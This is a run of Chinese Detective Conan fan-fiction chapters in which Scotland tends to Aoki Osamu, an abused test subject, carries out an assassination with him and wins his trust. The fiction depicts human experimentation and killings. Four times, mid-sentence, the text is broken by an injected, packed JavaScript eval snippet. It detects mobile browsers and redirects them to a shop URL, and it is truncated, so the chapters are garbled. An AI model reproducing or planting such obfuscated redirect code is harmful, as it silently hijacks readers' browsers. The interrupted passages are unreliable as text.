琴酒把控制器还给诸伏景光,后者有些目瞪口呆地看着他。 早料到琴酒对青木修的态度不怎么好,但也没想到是这样一点耐心也没有的样子。 琴酒不知道诸伏景光心中所想,丢下两人便离开了。 诸伏景光蹲下身摸了摸青木修的脸,把他扛了起来。 . “这什么情况?” 降谷零听到门锁打开的声音,第一时间走出房门,正好和诸伏景光视线对上。 “……” 诸伏景光一时之间不知道该作如何解释,弯腰把青木修轻轻放在沙发上。 “琴酒说实验组那边出了点问题,把人折腾的不太……正常。” 他想了半天也没想到什么更合适的词语。 “疯了?” 降谷零指指自己的脑袋,还没开口说话,身后就传来诸星大的声音。 “呃……” 诸伏景光有些无奈于对方略显潦草的用词。 谁想降谷零居然一脸赞同地看向他。 “倒没有,”诸伏景光想了想方才在基地青木修对待自己的反应,稍微修改了琴酒的说法,“不知道实验组干了什么,人应该是有点应激了。” “应激?” 降谷零嗤笑一声,上手就要去够青木修左手腕上的手环。 “又在他身上搞了什么东西?” 他扯了一下,竟然没扯动。 “你别乱动。” 诸伏景光拿开降谷零的手,“琴酒说他在实验中心的时候伤了人,实验组给他装了一个皮下植入的电击器,要是有想要逃跑或者是反抗的动作就让我们用这个教训他。” 降谷零的眉头微微皱起来,摸着下巴打量瘦了一圈的青木修,不知道在思考些什么。 “所以他现在到底是个什么情况?” 诸星大似乎对这件事不太关心,整个人表现出一副无所谓的样子。 “我可不想出任务的时候带着一个托后腿的家伙。” 青木修不在的这段时间里,诸星大几次单独任务完成的都还算漂亮,现在有时候已经能跟着琴酒一块儿出任务了。 “我也不想。” 降谷零现在可是朗姆身边的红人,自然也得表现出一副不想收留这个拖油瓶的样子。 “……” 诸伏景光一时无奈,只好给两位同伴解释:“可能没办法不收留他……琴酒说是实验组的负责人点名要把人送到我们小组来。” “……” 降谷零到嘴边的话又咽了回去,再看一眼诸星大,脸上的表情似乎也写着无语。 “唔……” 几人沉默之际,青木修缓缓睁开了眼睛。 诸伏景光只觉得眼前一闪,再扎眼时,青木修已经攻向离他最近的诸星大。 “喂喂!” 短暂走神的诸星大怎么也想不明白自己怎么就成了第一个被攻击的对象。 他略显慌乱地躲开青木修的拳头,眼睛一转,三两步躲到诸伏景光身后。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976845|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出他所料,青木修的拳头停在了距离诸伏景光的脸只剩下几厘米的地方。 “……苏格兰。” 青木修缓缓收回拳头,在诸伏景光的注视下一步一步后退至客厅的角落。 “……看样子现在只有你能管管他咯。” 降谷零故意露出一副幸灾乐祸的表情,干脆做起了甩手掌柜,一扭身躲回了自己的房间。 诸星大见青木修和自己拉开距离,也蹑手蹑脚从诸伏景光背后出来,一步一挪溜回房间。 一时间,客厅里又只剩下了诸伏景光和青木修两个人。 “青木修,我不会伤害你。” 诸伏景光没有叫青木修的代号,而是喊了他的名字。 青木修脸上出现了一丝思考的神情,就像是太久没有听到这个名字,想了想才意识到诸伏景光是在叫自己。 他缓缓抬头看向诸伏景光。 “你……走开。” 青木修执拗地重复着这一句话。 他现在脑子里很混乱,也不知道该用什么态度来对待诸伏景光。只是潜意识告诉他,眼前这个人不会像实验组的那些家伙们一样伤害自己。 但是他没有伤害过自己的话,为什么看着他的时候自己会这么难受呢? 他的心里不明白这到底是一种什么样的情感,安全起见,只能选择拉开自己和诸伏景光之间的距离。 诸伏景光又试了半天,青木修还是不愿意让他接近,没有办法,他也只能先把青木修一个人留在客厅里,向他指明房间之后便离开了。 青木修一直看着诸伏景光合上自己的房门,才迅速从客厅的角落移动到自己的房间门前,反身就上了锁。 脸上有些凉,他茫然地摸了摸脸颊,摸到了一手的眼泪。 为什么会哭呢? 青木修不明白,刚刚苏格兰并没有伤害自己,那自己为什么还要这么难过呢? . 尽管中间出了些乱子,青木修还是顺利地留在了威士忌小组。 降谷零和诸伏景光第一时间将青木修的情况上报给黑田兵卫。 黑田兵卫收到消息后,让风见裕也转告两人,务必要盯紧青木修,最好能够问出青木修这段时间去了哪里,都经历了什么。 诸伏景光收到消息时,第一反应是这些问话对青木修来说是不是有些太残忍了。 他还记得自己小时候父母刚出事的那段时间,他也不敢去回忆自己都经历了什么。 青木修的情况这么严重,想来一定遭遇了非人的折磨。 可是任务不得不完成,出于对青木修的歉意,诸伏景光又拿出从前的态度,耐心地对待青木修。 在他的精心照顾下,青木修的大脑逐渐恢复了清醒。 他逐渐冷静下来后的第一件事就是远离诸伏景光。 他可没有忘记当初诸伏景光说过的话和两人的真实身份。 清醒过来的代价就是痛苦,青木修一边怨恨着自己在实验组的遭遇,一边有痛苦于自己需要保守诸伏景光和降谷零的秘密。 他已经害怕了,诸伏景光对他实在太好了,好到青木修有些分不清楚,这种好意到底是出于诸伏景光的本心还是为了完成他们所谓的任务。 20. 第 20 章 看不穿诸伏景光真心的青木修选择当鹌鹑,干脆躲着诸伏景光。 于是辛苦半个多月的诸伏景光再一次遭到了来自青木修的冷落。 “……我到底是哪里惹到他了?” 诸伏景光向降谷零“哭诉”,“照顾了他半个多月,现在脑子清醒了就翻脸不认人。” 降谷零身在局外,倒是看的透彻,“有没有一种可能,他还记着你之前说的话?” 诸伏景光沉默,他确实是忘记了这一种可能,是之前半个月的生活让他忽略了这件事。 他还是把青木修想的太简单了,只觉得人脑子不清醒就能推翻掉以前的一切从头来过。 “那现在怎么办?” 一想到最近几天青木修对自己避而不见的态度,诸伏景光心里就有些不是滋味。 降谷零摊摊手,表示要和青木修拉近关系的主力军是诸伏景光,自己也没什么好办法。 “别忘了我之前对他的态度更恶劣。” 两个人对视一眼,都从对方的眼中看出了无奈。 “好吧好吧,”诸伏景光大脑飞速运转,思考着怎样才能重新修复自己和青木修之间的关系,“我找个机会和他道歉试试看吧。” 这个机会一找就是好几天。 诸伏景光还没正式和青木修道歉,先一步收到了带青木修去东京基地做实验的消息。 “我下午有任务。” 诸星大率先表示自己没有时间,降谷零紧随其后说明自己要去情报组开会,并且对参观人体实验没什么兴趣。 推来转去,这个任务又落在了诸伏景光身上。 青木修没有做决定的权力,但闻言脸上还是露出了一丝小小的不情愿。 诸伏景光装作没有看见他的表情,开车带着他前往东京基地。 基地的一间医务室被左山先生带人改造成了一间临时手术室,诸伏景光带着青木修赶到时,他们已经在这里等着了。 “你就是苏格兰?” 虽然是第一次见面,不过左山先生还是辨认出了诸伏景光。 “您好。” 不知道这个人底细的前提下,诸伏景光选择谨慎行事。 “听说你和杜林标的关系不一般啊。” 诸伏景光斜着眼睛瞥了一眼青木修,后者什么话也没说,只是抿抿嘴巴,把头扭向一边,不去看诸伏景光和左山先生。 有意修复两人关系的诸伏景光见状也没有辩解,而是顺着他的话往下说:“是啊,我挺喜欢杜林标的。” 左山先生意味不明的大笑几声,弄得诸伏景光一头雾水,但他表面上没有露出任何疑惑的神情,反而保持着笑容反问左山先生,“您难道不觉得杜林标很讨人喜欢吗?” “你说的没错,”笑完,左山先生命令助手把青木修带进手术室,“杜林标确实是一个讨人喜欢的好孩子。” 仿佛他们俩讨论的人不是自己一样,青木修麻木地跟着助手的脚步,做好消毒措施之后乖顺地躺在手术床上,隔着观察间的玻璃,诸伏景光恍惚觉得自己看到了一只早已接受命运的比格犬。 一种异样的怜爱泛上心头,诸伏景光的心里忽然很不舒服。 左山先生并没有发现他的眼神变化,还在不停地补充着,“看来这半个月你把他调养的很好,这段时间辛苦你了。让他不发疯伤人,应该很不容易吧?” 诸伏景光莫名有些厌恶这个据说是实验组负责人的男人,觉得在他的眼中青木修好像并不是什么人,而是一只被别人掌握生死的实验犬。 “哈,您过奖了,”诸伏景光扯开一个皮笑肉不笑的表情,把这半个多月照顾人的心酸用一句话掩盖了过去,“我说过的,杜林标很乖。” “他乖?”左山先生像是听到什么好笑的笑话一般,“他可是一身反骨呢。” 说完不等诸伏景光有什么反应,他便抬脚走进手术室,留下诸伏景光一个人站在观察室里干看着。 诸伏景光原本想走,但不知怎么的,神使鬼差停下离开的脚步,选择站在原地。 他忽然对青木修接受的实验很好奇。 按照组织的实验条例,像诸伏景光这样非实验核心小组的成员本该要被清场,但左山先生故意把他留下来,临时把实验内容换成了一个没什么保密级别的。 他就是想看看,传闻中的苏格兰威士忌对青木修到底有几分真感情。 青木修躺在手术床上,口中被塞入防止他咬伤自己或者实验员的牙齿保护套,手腕上的电击器被暂时取下,露出手环之下暗红的血肉。 冰冷的液体注入身体,青木修微微打了个哆嗦,目光不停在几名实验员身上来回移动。 穿刺针插入皮肤,青木修痛得下意识挣扎了一下,被诸伏景光敏锐的观察到。 他怎么了? 诸伏景光意识到青木修的身体里可能真的有什么东西改变了,他记得原本的青木修没什么痛觉,根本不可能像现在这样有这么大的反应。 心中的疑团越来越大,可这里并没有人来为他解惑,诸伏景光也只能按捺下疑惑,强迫自己站在原地看完左山先生的实验。 “注射最新的诱导剂。” 他们吸取了上次的经验教训,重新研发了一种没那么激烈的诱导剂。 尽管经过改良,但是原本诱导剂该有的副作用一点也没少。不出几分钟,青木修渐渐开始感觉到从身体内部传出来的镇痛。 眼前景物一阵一阵的扭曲变形,青木修仿佛觉得有人拿着铁锤一下下地锤着他的脑袋。 头疼,恶心。 尤其是他脆弱的胃,已经一浪浪的翻涌起波澜。 “呕……” 他没忍住,做了个干呕。 “给他插管,别让他呛着了。” 一指粗的软管插入喉咙,实验员们根本不考虑青木修的插管体验,下手很重,仅仅戳弄两下就让嗓子眼里涌出一股腥甜。 诸伏景光视力很好,清晰看到从青木修嘴巴里引流出来的食物残渣;里带有暗红的血丝。 不用想也知道必定是实验员刚刚插管时弄破了青木修的嗓子。 穿刺针在青木修的皮肤之下尽职尽责地工作,疼得他不住地抽搐,固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976846|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定手脚的束缚带被他拉扯的哗啦哗啦直作响。 “先生,他肌肉绷得太紧了,我们不敢有什么动作。” 不多时,助手向左山先生汇报青木修的反应。 “注射司可林。” 在肌肉松弛剂的作用下,青木修很快连挣扎的能力也没有了,只能躺在那里任人宰割。 诸伏景光就这么眼睁睁地看着他们在青木修的身体里用仪器动作着。 即便没有走进手术室,更没有什么过于血腥的场面,第一次见到这种场景诸伏景光还是没由来的想吐。 他隐隐约约对青木修消失的三个月所遭受的磨难有了些概念。 实验持续了几乎一整天的时间,诸伏景光也就在观察室里沾了一整天。 到最后左山先生走出手术室告知他可以带着青木修离开时,对方已经因为剧烈的疼痛失去了意识。 “半个月后我们会再通知你。” 左山先生慢条斯理摘下手套,看着里面的助手们为青木修的伤口做了简单止血,侧身让出一条路方便诸伏景光进去。 “杜林标?杜林标?” 诸伏景光喊了青木修几声,他都没有任何反应。 眼看时间已经晚下来,诸伏景光想着快些把人带回安全屋,好让青木修休息,干脆一弯腰把人抱了起来。 似是感觉到自己的姿势改变了,青木修自然而然在诸伏景光怀里找了个还算舒服的姿势。 诸伏景光颠了颠青木修,比他想象中的还要轻得多,安全没有一个成年男子该有的重量。 “我带他先离开了,再见。” 没有再和左山先生寒暄什么,诸伏景光抱着青木修离开手术室。 基地里还有不少组织成员,一路上有不少人注意到他俩,纷纷侧目。 诸伏景光尽量让自己的动作看起来自然些,大步抱着青木修上了车。 在回安全屋的半路上,青木修清醒过来,意识到自己已经不在手术室,第一时间缩到后排角落,借助后视镜紧张兮兮地盯着诸伏景光看。 “看我做什么?” 诸伏景光收到来自青木修的眼神,装作漫不经心地开口。 “我……我是怎么到车上的?” 诸伏景光忽然很好奇青木修知道自己被他抱过的反应,话到了嘴边忽然改口,“你是我抱上车的,怎么了?” “哐啷!” 青木修惊得直接从座椅上跳起来,脑袋一下子撞上车顶,疼得他一下子落回后座上。 “至于这么大的反应吗?” 诸伏景光觉得青木修的反应实在有趣,故意又问了一遍。 “你……” 青木修急的一时间都不知道该说什么好,他还想动作,但是实验留下的伤口后知后觉的提醒他,现在不能有什么大动作。 “你……不要这么做!” 憋了好半天,青木修才憋出这么一句话来。 诸伏景光见机会差不多,正准备开口道歉,一通电话却在这时打进来。 “绿川,”是降谷零的声音,“快回来,来任务了。” 21. 第 21 章 被降谷零一通电话打断,诸伏景光又一次错失了对青木修道歉的机会。 直到返回安全屋,他也没能再找机会和青木修说上一句话。 “绿川,别发愣了,这次的任务需要你和杜林标两个人一起行动。” 两个人一起行动?诸伏景光呷嘴,好久没有接到这样的任务了。 “好吧,任务内容是什么?” 降谷零直接把手机丢给他看。 是要暗杀一名于组织反目的政客,顺道还要从他的家中窃取有关组织的情报资料并销毁。 “明白了……” 青木修站在诸伏景光身后,隔着一段距离远远瞧见手机上的字。 “为什么是我和苏格兰?” 他明明看见任务简报里没有点名必须是他和诸伏景光两个人一起行动啊。 “要不然你替我去帮朗姆搜集情报?” 降谷零斜眼看他。 青木修瞬间把目光移向一脸状况外的诸星大。 “……琴酒找我。” 诸星大后知后觉,直接举起手机向青木修证明,自己是真的有事。 “……好吧。” 青木修认命,只能接受自己要被迫和诸伏景光一起行动的事实。 诸伏景光心中却是一阵暗喜,心知这是降谷零在给他创造机会。 “走吧,早完事早休息。” 他轻轻拍拍青木修的肩膀,示意对方跟上自己。 青木修无法,只能跟着他坐上车。 “你有什么计划吗?” 前往政客住宅区的路上,诸伏景光有意挑起话头。 “你在远处狙击他,我进去找资料。” 青木修早就在心里盘算好怎么和他保持距离,这会儿诸伏景光问起来,他忙不迭把自己的想法说出来。 “那边一带都是低矮的别墅建筑,恐怕没什么好的狙击点位。” 诸伏景光分神看了眼图纸,无情打破了青木修的美好幻想。 “……哦,那听你的。” 青木修眨眨眼睛,低下头摩挲起挂在腰侧的匕首来。 “那就这样吧,”既然青木修把主动权交了出来,就不能怪诸伏景光替他做主了。“我们一起进去,你去想办法解决掉这个人,我去他的书房找东西。” 根据降谷零的情报,这名政客基本上把重要资料全部锁在书房的保险柜里。 “好的。” 青木修找不出更好的行动方案,点点头同意了诸伏景光的计划。 把车停在距离别墅区还有一段路程的地方,诸伏景光和青木修两人徒步走进住宅区。 “小心。” 经过一个拐角时,青木修一把拉住走在前面的诸伏景光,提醒他不要再前进。 诸伏景光收回已经迈出去的脚,抬起头观察了一下四周,看了好几圈,才在路灯灯罩下发现了一个正闪烁着微弱红光的摄像头。 “谢谢。” 诸伏景光向青木修道谢,后者什么反应也没给他,甚至在把他拉回来的第一时间就松开手。 一副一点关系都不想和他沾上的样子。 诸伏景光假装看不出青木修的心思,换了条路带着青木修继续前行。 住在这一带的都是富贵名流,安保力量自然不会差,两人很是费了些功夫才顺利来到政客家的外墙墙根。 诸伏景光正要寻找有没有壁炉,或是通风口一类的通道,青木修直接动手上楼。 “喂!” 眼看青木修就这么徒手爬墙,诸伏景光没忍住低呼一声。 青木修停下动作,扒在墙上,回过头去看他。 “你悠着点啊!” 见青木修没有要下来的意思,诸伏景光不得不咬咬牙跟着青木修一起爬墙。 不得不承认,青木修的身手相当不错,有好几处诸伏景光觉得攀爬困难的落脚点都被他轻松越过,甚至还能回过头拉他一把。 诸伏景光今晚第二次对青木修说了谢谢。 “别谢我。” 青木修冷着一张脸,有些生硬地拒绝诸伏景光的靠近,“任务要紧。” 诸伏景光不难看出他这是在强装镇定,也就没有为难他再说些什么。 两人简单商讨过路线之后便分头行动,青木修直奔图纸上显示卧房的方向,而诸伏景光则是朝着书房的方位前进。 青木修灵巧地翻身而上,把自己悬吊在天花板上,成功避开了保镖和保姆的夜巡,顺顺利利地摸到卧室门口。 他一压卧室的门把手—— 门没开。 看来是上锁了。 青木修知道卧室门口不宜久留,见一时半会儿没办法顺利开门,果断重新翻出窗户,从外墙进入卧室。 床上躺着两个人影。 青木修皱皱眉头,这就有点难办了,无论先杀谁,他都很难保证另一个人百分之百不会醒过来。 简单的思量过后,他果断举刀朝着床边距离自己最近的人影刺去。 匕首扎破洁白的被褥进入人体,被扎中的人影抽搐了两下就不动了,连一声惨叫都没来得及发出,青木修揭开被子一角,发现自己刺中的是个女人。 他的眉头轻皱,立刻拔出匕首探身刺向另一人。 借着月光他才发现床上另外一个人的身形大小也有些不对劲,他再定睛一看,床上躺着的竟然两个都是女人! 不好! 他脑海中瞬间警铃大作,反手抽出匕首扒开窗户就往下窜。 如果他没记错的话,书房在二楼。 青木修一路东躲西藏来到记忆中二楼书房的位置。 这一次遇到的是指纹锁,好在降谷零提前给他俩都准备的有指纹贴。 小心将贴有贴纸的手指放在验证区,两秒以后,书房大门发出“嘀”一声响。 门开了。 青木修左右环顾一圈,将门打开一条缝,闪身进去。 一进门便是一股刺鼻的血腥味扑面而来。 诸伏景光在书房里遇到了原本应该成为青木修刀下亡魂的政客。 面对灵活敏捷的诸伏景光,政客毫无还手之力,三两下就被诸伏景光放倒击毙。 诸伏景光在开门发现政客后也惊了一瞬,迅速意识到可能是降谷零给的情报出了点岔子,或者说是今晚发生了什么不可言说的意外。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976847|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以迅雷不及掩耳之势关上门,脚下发力猛地向前,一把掐住政客的脖子阻止他发声。 用枪威胁政客打开保险箱之后诸伏景光便用枪毫无心理负担的处理掉他。 轻手轻脚将失去了大半个脑袋的政客放回原来的椅子上,诸伏景光立刻开始着手翻看政客保险柜里储存的纸质文件。 当然,电脑他也不会放过,同时为了保险起见,他甚至直接用枪崩了电脑主机,把硬盘拆下来放在一边。 “杜林标?你来的正好。” 诸伏景光抬手把被他放在一边的硬盘抛给青木修。。 “这是我从他电脑上拆下来的,记得保管好带回去。” 现在是任务期间,青木修不会为了和他保持距离,而做出一些会影响到任务进行的事来,这时候便是诸伏景光说什么就是什么,他立刻接住硬盘在内兜里小心放好。 “剩下的资料毁了就是了。” 任务完成,诸伏景光拍拍手站起来,看了眼大开的保险箱,掏出一个打火机,引燃地面上昂贵精致的羊毛地毯。 火焰一点点吞噬散落在地的资料和已经毙命的政客身躯。 “不好了!失火了!” 发觉房屋失火,外面负责夜巡的保镖和侍者慌忙想要进来,等他们好不容易撞开了门,一眼便看得到在火焰中燃烧的老板尸体。 “快报警!通知安保队封锁别墅区!” 保镖们说到底经过训练,短暂的慌乱一秒便立刻恢复了镇静,有条不紊地组织起佣人们报警以及灭火。 “快走!” 保镖们的反应速度以及别墅区的安保力量有些超出两人的想象,还没接近别墅区边墙,远远就看到保安们放下闸门开始封锁整个别墅区的身影。 “来不了。” 诸伏景光听到有脚步声朝着他们靠近,揽住青木修的肩膀把他带进花丛中一个矮小的供电箱里躲起来。 供电箱里很逼仄,塞下两个成年男人实在是有些为难它。 诸伏景光和青木修两个人身体紧紧贴在一起,都能感受到彼此之间的呼吸打在自己身上。 “……” 青木修的脸上闪过一丝窘迫,他有些不安地动了动。 “别乱动!” 诸伏景光此刻也不好受,他俩现在的姿势青木修正好把头放在他的肩窝处,柔软的发挠的他心里直发痒。 青木修闻言立刻不动了,但是诸伏景光还是能明显感受到他的呼吸正在逐渐加快。 供电箱这个狭小空间正在迅速升温。 青木修的额头上留下一滴汗珠,顺着他的脖颈而下,滴进诸伏景光的衣服里。 两个人现在的姿势尴尬极了,谁也不敢先动一下。 而更让诸伏景光后背冒汗的是,感受到青木修贴在自己身上滚烫的肌肤,他该死的有了些不该有的感觉。 “等等,等等。” 他把手换了个位置,用尽全力才在关键位置和青木修隔出了一定点安全距离。 诸伏景光觉得自己现在的脸肯定红透了,他一边昂起头不想让青木修看见自己的脸,一边又控制不住自己悄悄往下瞟,想要看一眼青木修现在的反应。 22. 第 22 章 “你还……好吗?” 感受到青木修的心跳速度越来越快,诸伏景光有些担心起他的心脏情况。 “我没事。” 即便诸伏景光已经尽力拉开两人之间的距离,可青木修还是觉得他们两个挨得有些太近了。 “别动!” 察觉出青木修的手正在不安分的摸索,诸伏景光忙不迭喝止住他的这种行为。 青木修果然不动了,但也没打算就此罢休。 “苏格兰,你能再往后去一点吗?” 诸伏景光觉得自己的心跳跟着青木修一块儿乱了。 “我已经没地方退了,杜林标。” 他用气音回答青木修,声音怎么听怎么无奈。 “哦……” 青木修不自然地移开目光,自己又试着往后退。 “啪!” 诸伏景光一下子摁住他,一直强行忍耐的问题终于忍不住被他抛出来。 “我承认我之前说的话有些伤人,我向你道歉,但也请你不要莫名其妙的躲着我好吗?” 不然搞得跟他是个变态似的。 青木修闻言抬起眼皮,灰色的眼睛紧紧盯住诸伏景光。 后者被他的眼神瞪的一愣,但嘴上仍然没有停止,“你不在的时间里我很担心你,我很想帮助你,所以才……” “你到底是关心我还是关心你的任务?” 青木修忽然红了眼睛,带着鼻音质问诸伏景光。 “什么任务?” 诸伏景光隐隐有一种不妙的感觉,他装傻充愣地反问青木修,“你在说什么?什么任务?我真的只是很担心你……” “苏格兰!” 今晚青木修第二次打断诸伏景光。 他的声音让人辨别不清究竟是爱还是恨。 “你真的把我当傻子吗?” 诸伏景光的目光像是被那双灰色的眼睛锁住了一般,动也不动。 两人就这么对视着,也是一种沉默的对峙。 不知过去多久,诸伏景光觉得外面的声音似乎消失了,整个世界都只剩下他们两个人。 青木修见他不承认,扯起一抹苦笑,“你真的以为我什么都不知道?你说啊!你到底是谁!” 顾不上两人还躲在憋闷的供电箱里,青木修忽然上前扯住诸伏景光的衣领,逼迫他不得不向前靠近。 两人的身体又重新贴在了一起。 “我告诉你!你和波本那天的谈话我全部都听到了!” 诸伏景光眼皮不受控制的跳了一下,瞳孔不自然地收缩。 他还空着的手第一反应是去摸自己挂在腰后的那把装有消音器的枪。 他想起了黑田兵卫的叮嘱。 “如果不能让他为我们所用,那么就不要犹豫,直接除掉他。” 杀了他! 诸伏景光额角神经疯狂抽动,拼了命地提醒他现在应该做什么。 眼下最保险的操作就是在这里杀了青木修,届时直接把责任推到他头上就行。 毕竟死人是不会为自己辩解的。 手指触到冰凉枪身的刹那,诸伏景光触电似的缩回手。 看着那双灰色的眼睛,他不知怎的有些下不去手。 这是不应该的,他不断提醒着自己,青木修是组织的实验体,是组织的人,自己就算杀了他也没有错。 “你要杀了我吗?” 谁料青木修比他的动作还要快一步,直接握着诸伏景光的手从身后拔出枪,抵住自己的心脏。 “你现在就杀了我啊!这样你就安全了!” “不……不。” 诸伏景光开始发力挣扎起来,无论如何也扣动不下食指的扳机。 “你们就是琴酒一直在找的老鼠,”青木修白净的脸上沾染上疯狂,“杀了我,让死人永远替你们保守秘密吧。” “不……”诸伏景光使出吃奶的力气才把自己的手从青木修的手下挣扎出来,手骨隐隐作痛。 “青木修,”他叫出了他亲自给青木修取的名字,“我不想杀你。” 诸伏景光决定赌一把,他顿了顿,接着说道:“我不想杀你,我是真的很喜欢你,是我当初没有认清自己的心思,才说出那样的话伤害到你。我正式的向你道歉。” 青木修手上的力道一点一点散去,沿着诸伏景光的手臂一点点滑落。 一滴晶莹的泪珠从他下垂的眼角滑落。 “苏格兰,你到底是谁?你和波本混进组织,到底是想干什么?!” 诸伏景光一见有戏,努力克制住自己加快的心跳。 “我的真名叫诸伏景光,进入组织只是想救出更多像你这样的人。” “像我这样的人……吗?” 青木修眼神一下子飘忽,不知想起了什么,“可是我的兄弟姐妹们都已经死了啊!你们现在来又有什么用呢?” “我们没能阻止悲剧的发生,但可以阻止事态进一步严重下去。” 诸伏景光循循善诱,“你原本应该有更加光明美好的未来。” “啪!” 青木修抬手抽了诸伏景光一巴掌,这一下他没收着力气,直接把诸伏景光打的脸偏向一边。 “诸伏景光!”他把头埋进诸伏景光的肩膀上,“我恨死你了!” “那你就去向琴酒告发我。” 诸伏景光收起手枪,环抱住青木修,在他耳边低声说道。 “你说什么?” 青木修不敢相信自己的耳朵。 他抬起头,不可置信地摇晃诸伏景光的肩膀,“你疯了吗诸伏景光!你会死的!” “我知道,”诸伏景光依旧在赌,赌青木修爱着自己,赌他对组织有怨恨,赌他不会向琴酒告密,“但是我说了,我喜欢你,如果能让你感到舒服的话,就去向琴酒揭发我吧。” 他浅浅一笑,“如果非死不可的话,我愿意死在你手里,只求你能放波本一条生路。” 即便是下赌注,诸伏景光也不能把幼驯染当成筹码。 “你在说什么瞎话!” 青木修把声音提高了些,随即意识到两人现在的处境,又立刻把声音压下去,只不过听起来依旧咬牙切齿。 “你在瞎说什么?我……我怎么……” 他有很多话想跟诸伏景光说,但是现在似乎说什么都不合适。 到最后,他也不过是恨恨一句,“诸伏景光,你就是仗着我喜欢你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976848|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青木修快要疯了,理智在他的一侧耳边咆哮着让他去揭发诸伏景光,让琴酒来除掉这两只老鼠,但是感情也同时在另一侧叫嚣着不断提醒他喜欢诸伏景光。 他不得不承认,自己可耻的对诸伏景光所说的那个“美好光明的未来”动心了。 “诸伏景光!我真的恨死你了! 他重复了一遍方才说过的话。 诸伏景光的笑意扩大了几分,他知道自己赌赢了。 青木修有一点没有说错,他确实有些仗着对方喜欢自己。想到这里,诸伏景光莫名心虚了一瞬,心底悄悄冒出一个声音问他,“你真的是为了任务吗?” 真的是为了任务吗? 诸伏景光问自己,可是他一时半会儿得不到答案,索性鸵鸟似的躲起来,主动地去回避这个问题。 青木修有些记不太清自己最后是怎么回到安全屋的了,他的脑海里只剩下当时迷迷糊糊答应给诸伏景光的承诺: “我不会向琴酒告发你们的,但是你和波本两个人做事也要好自为之。 诸伏景光也同样给了他一个承诺。 “我会带着你去看一看光明的未来是什么样的。” . 降谷零嗅出诸伏景光和青木修之间有什么东西改变了。 自打上次出任务回来,两个人不仅关系恢复如初,就连带着青木修对他的态度都改善不少。 降谷零疑惑的摸摸脑袋,不知道发生了什么。 直到他有一天晚上出任务回来,误打误撞在厨房里看到青木修亲了诸伏景光一口。 “……?!” 降谷零头上冒出一个大大的问号,他一副受到重大打击的模样从厨房里退出来,一扭头看见了坐在沙发上淡定抽烟的诸星大。 “看我做什么?” 诸星大感受到他的目光,叼着烟疑惑扭头。 “你……” 降谷零指指厨房,“他们两个……” 他一脸一言难尽的表情。 “哦,”诸星大就显得淡定的多了,摆出一种“我早就知道”的姿态,“你说他俩啊,上次任务回来差不多就这样了。” “什么玩意儿?” 降谷零只觉得自己青筋直跳,仿佛听到了什么不干净的东西。 “你不知道吗?” 诸星大觉得自己难得比降谷零快了一步,露出一个高深莫测的笑容。 “你和苏格兰关系那么好,我还以为你早就知道了呢。” 这话在降谷零的耳朵里就是赤裸裸的嘲讽。 不过现在降谷零无暇顾及来自诸星大的“嘲讽”,他冲着对方一伸手。 “干什么?” 诸星大后仰,以为自己刺激到了降谷零,对方终于忍不住要和自己打一架了。 “还有烟吗?给我一根。” 降谷零觉得自己现在需要尼古丁来好好冷静一下。 他完全不知道那一天晚上的任务两人之间究竟发生了什么,但他还坚信着诸伏景光是为了黑田兵卫布置下的任务才这么做的。 “hiro,你牺牲的太多了。” 烟蒂被降谷零捏到变形,他在心中默默为幼驯染竖起一根大拇指。 23. 第 23 章 东京基地的人都能看出来,最近苏格兰威士忌和杜林标之间的关系又变好了。 每半个月的实验雷打不动都是诸伏景光陪着青木修来,实验结束后也是诸伏景光把人抱回去或者背回去。 “苏格兰,你对杜林标还真是上心啊。也对,他总是这么讨人怜惜。” 左山先生拦住正欲带青木修离开的诸伏景光,阴阳怪气地说。 “您说得对,他讨我怜惜。” 诸伏景光就着左山先生的话不动声色地怼回去。 也就是趁着青木修昏迷的这会儿,才方便他回怼左山先生,“毕竟合我口味的人可难找。” “那我们做的这些,你就不心疼吗?” 左山先生作势要去摸青木修的脸,被诸伏景光灵巧地躲开。 “自然心疼,但是心疼你们就能停手吗?” 左山先生的笑容给了他答案。 